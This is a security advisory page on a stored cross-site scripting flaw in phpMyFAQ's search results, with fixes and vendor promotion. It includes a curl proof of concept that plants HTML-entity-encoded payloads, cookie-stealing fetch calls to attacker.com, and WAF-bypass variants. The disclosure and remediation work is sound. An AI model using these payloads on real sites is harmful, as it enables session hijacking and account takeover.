Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐘
🐘 Packagist
Not in CISA KEV
MEDIUM severity

GHSA-pqh6-8fxf-jx22 — phpmyfaq/phpmyfaq

MEDIUM

GHSA-pqh6-8fxf-jx22 is a medium-severity (CVSS 6.9) Cross-site Scripting (XSS) vulnerability in phpmyfaq/phpmyfaq. A fix is available for phpmyfaq/phpmyfaq — see the affected versions and patch details below.

phpMyFAQ has stored XSS via | raw Filter in search.twig — html_entity_decode(strip_tags()) Bypass in Search Result Rendering

Also known asCVE-2026-46361
Published
May 6, 2026
Updated
Sep 10, 2026
Affected
2 pkgs
Patched
2 / 2
Exploits
None indexed
Exploitation data as of Sep 24, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-pqh6-8fxf-jx22.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs24th percentile — riskier than 24% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-pqh6-8fxf-jx22 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

2 pkgs affected
🐘phpmyfaq/phpmyfaq🐘thorsten/phpmyfaq

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The search result rendering template (search.twig) outputs FAQ content fields result.question and result.answerPreview using Twig's | raw filter, which completely disables the template engine's built-in auto-escaping.

A user with FAQ editor/contributor privileges can store a payload encoded as HTML entities. During search result construction, html_entity_decode(strip_tags(...)) restores the raw HTML tags — bypassing strip_tags() — and the restored payload is injected into every visitor's browser via the | raw output.

This vulnerability is distinct from GHSA-cv2g-8cj8-vgc7 (affects faq.twig, bypass via regex mismatch in Filter::removeAttributes()) and is not addressed by the 4.1.1 patch.


Affected Files

FileLocationIssue
phpmyfaq/assets/templates/default/search.twiglines rendering result.question, result.answerPreview(Vertical Bar) raw disables autoescape
phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.phpsearch result processing loophtml_entity_decode(strip_tags(...)) restores encoded payloads
phpmyfaq/src/phpMyFAQ/Search.phplogSearchTerm()No HTML sanitization on stored search term (secondary, preventive)

Details

Vulnerability A (Primary): search.twig — | raw Disables Autoescape

File: phpmyfaq/assets/templates/default/search.twig

<a title="Test" href="{{ result.url }}">{{ result.question | raw }}</a>
<small class="small">{{ result.answerPreview | raw }}...</small>

Twig's autoescape encodes all variables by default. The | raw filter unconditionally disables this protection. Both result.question and result.answerPreview are populated from database content (FAQ records and custom pages) that can contain attacker-controlled data.

Seven (7) instances of | raw exist in search.twig:

{{ result.renderedScore | raw }}
{{ result.question | raw }}
{{ result.answerPreview | raw }}
{{ searchTags | raw }}
{{ relatedTags | raw }}
{{ pagination | raw }}
{{ 'help_search' | translate | raw }}

Each of these constitutes an independent XSS surface if its data source is compromised.


Vulnerability B (Amplifier): SearchController.php — html_entity_decode(strip_tags()) Bypass

File: phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php

$data->answer = html_entity_decode(
    strip_tags((string) $data->answer),
    ENT_COMPAT,
    encoding: 'utf-8'
);

This pattern is a known security anti-pattern. When a payload is stored as HTML entities, strip_tags() passes it through unmodified (it sees no actual tags), and html_entity_decode() then restores the original HTML tags — reintroducing executable markup that was thought to be neutralized.

Bypass walkthrough:

Stored in DB:    <svg onload=fetch('https://attacker.com/?c='+document.cookie)>
strip_tags()   → no change (no real tags detected)
               → <svg onload=fetch('https://attacker.com/?c='+document.cookie)>
html_entity_decode() → <svg onload=fetch('https://attacker.com/?c='+document.cookie)>
| raw output   → executes in browser

Attack Chain

Prerequisites: Attacker has FAQ editor / contributor role (low privilege).

Step 1 — Payload injection

Attacker creates or edits a FAQ entry or custom page with an HTML-entity-encoded XSS payload in the question or answer body:

<svg onload=fetch('[https://attacker.com/?c='+document.cookie](https://attacker.com/?c=%27+document.cookie))>
<img src=x onerror=fetch('[https://attacker.com/?c='+document.cookie](https://attacker.com/?c=%27+document.cookie))>

Step 2 — Persistence

The payload is stored in the DB without HTML sanitization at the storage layer.

Step 3 — Victim triggers the XSS

Any user (including unauthenticated visitors and administrators) searches for a keyword matching the poisoned FAQ. The server:

  1. Retrieves the record from the database
  2. Applies strip_tags() → entity-encoded payload passes through
  3. Applies html_entity_decode() → raw <svg onload=...> is restored
  4. Passes the value to search.twig as result.answerPreview
  5. Template renders with | raw → XSS executes

Step 4 — Impact

  • Session cookie exfiltration → full account takeover
  • Administrator session hijacking (admin visiting search page)
  • Persistent attack: payload fires for every visitor until manually removed
  • Potential for worm propagation via auto-created FAQ entries

PoC

Prerequisites: Attacker has FAQ editor / contributor role (low privilege).

Step 1 — Inject payload via FAQ editor:

curl -X POST 'https://target.example.com/admin/api/faq/create' \
  -H 'Content-Type: application/json' \
  -H 'Cookie: PHPSESSID=<editor_session>' \
  -d '{
    "data": {
      "pmf-csrf-token": "<valid_csrf_token>",
      "question": "&lt;svg onload=fetch(\u0027https://attacker.com/?c=\u0027+document.cookie)&gt;",
      "answer": "&lt;img src=x onerror=fetch(\u0027https://attacker.com/?c=\u0027+document.cookie)&gt;",
      "lang": "en",
      "categories[]": 1,
      "active": "yes",
      "tags": "test",
      "keywords": "searchable-keyword",
      "author": "attacker",
      "email": "[email protected]"
    }
  }'

Step 2 — Trigger XSS as victim:

https://target.example.com/search.html?search=searchable-keyword

The search result page renders the restored <svg onload=...> payload. The attacker's server receives the victim's session cookie.

Alternative payloads (for WAF bypass):

&lt;details open ontoggle=alert(document.cookie)&gt;
&lt;iframe srcdoc="&amp;lt;script&amp;gt;parent.location='https://attacker.com/?c='+document.cookie&amp;lt;/script&amp;gt;"&gt;

Impact

  • Confidentiality : Session cookie exfiltration and credential theft via JavaScript execution in victim's browser context.
  • Integrity : DOM manipulation, phishing overlay injection.
  • Scope : Attack crosses from contributor privilege context to all site visitors, including administrators.

Recommended Fix

Fix 1 (Critical) — Remove | raw from user-controlled fields in search.twig

- <a href="{{ result.url }}">{{ result.question | raw }}</a>
- <small>{{ result.answerPreview | raw }}...</small>
+ <a href="{{ result.url }}">{{ result.question }}</a>
+ <small>{{ result.answerPreview }}...</small>

If HTML formatting must be preserved, apply a whitelist-based sanitizer (e.g., ezyang/htmlpurifier) before passing data to the template, then retain | raw only for purified output.

Fix 2 (Critical) — Remove html_entity_decode() from search result pipeline SearchController.php

- $data->answer = html_entity_decode(
-     strip_tags((string) $data->answer),
-     ENT_COMPAT,
-     encoding: 'utf-8'
- );
+ $data->answer = strip_tags((string) $data->answer);
  $data->answer = Utils::makeShorterText(string: $data->answer, characters: 12);

Fix 3 (Recommended) — Audit all | raw usages in search.twig

The following additional | raw instances should be reviewed and sanitized:

{{ searchTags | raw }}       → apply HTML Purifier or remove | raw
{{ relatedTags | raw }}      → apply HTML Purifier or remove | raw
{{ pagination | raw }}       → safe only if generated entirely server-side with no user input

Fix 4 (Preventive) — Add htmlspecialchars() in logSearchTerm()

  $this->configuration->getDb()->escape($searchTerm)
+ htmlspecialchars(
+     $this->configuration->getDb()->escape($searchTerm),
+     ENT_QUOTES | ENT_HTML5,
+     'UTF-8'
+ )

Affected Packages

2 total 2 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistphpmyfaq/phpmyfaqall versions4.1.2composer require phpmyfaq/phpmyfaq:^4.1.2
🐘Packagistthorsten/phpmyfaqall versions4.1.2composer require thorsten/phpmyfaq:^4.1.2

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for phpmyfaq/phpmyfaq, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update phpmyfaq/phpmyfaq to 4.1.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-pqh6-8fxf-jx22 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-pqh6-8fxf-jx22 can be triaged on real exposure rather than presence alone.

Tailored to GHSA-pqh6-8fxf-jx22. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary The search result rendering template (`search.twig`) outputs FAQ content fields `result.question` and `result.answerPreview` using Twig's `| raw` filter, which completely disables the template engine's built-in auto-escaping. A user with FAQ editor/contributor privileges can store a payload encoded as HTML entities. During search result construction, `html_entity_decode(strip_tags(...))` restores the raw HTML tags — bypassing `strip_tags()` — and the restored payload is injected into every visitor's browser via the `| raw` output. This vulnerability is distinct from GHSA-cv2g-8cj
O3 Security · Impact-Aware SCA

Is GHSA-pqh6-8fxf-jx22 in your dependencies?

O3 Security finds GHSA-pqh6-8fxf-jx22 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-pqh6-8fxf-jx22: XSS (Medium 6.9) | O3 Security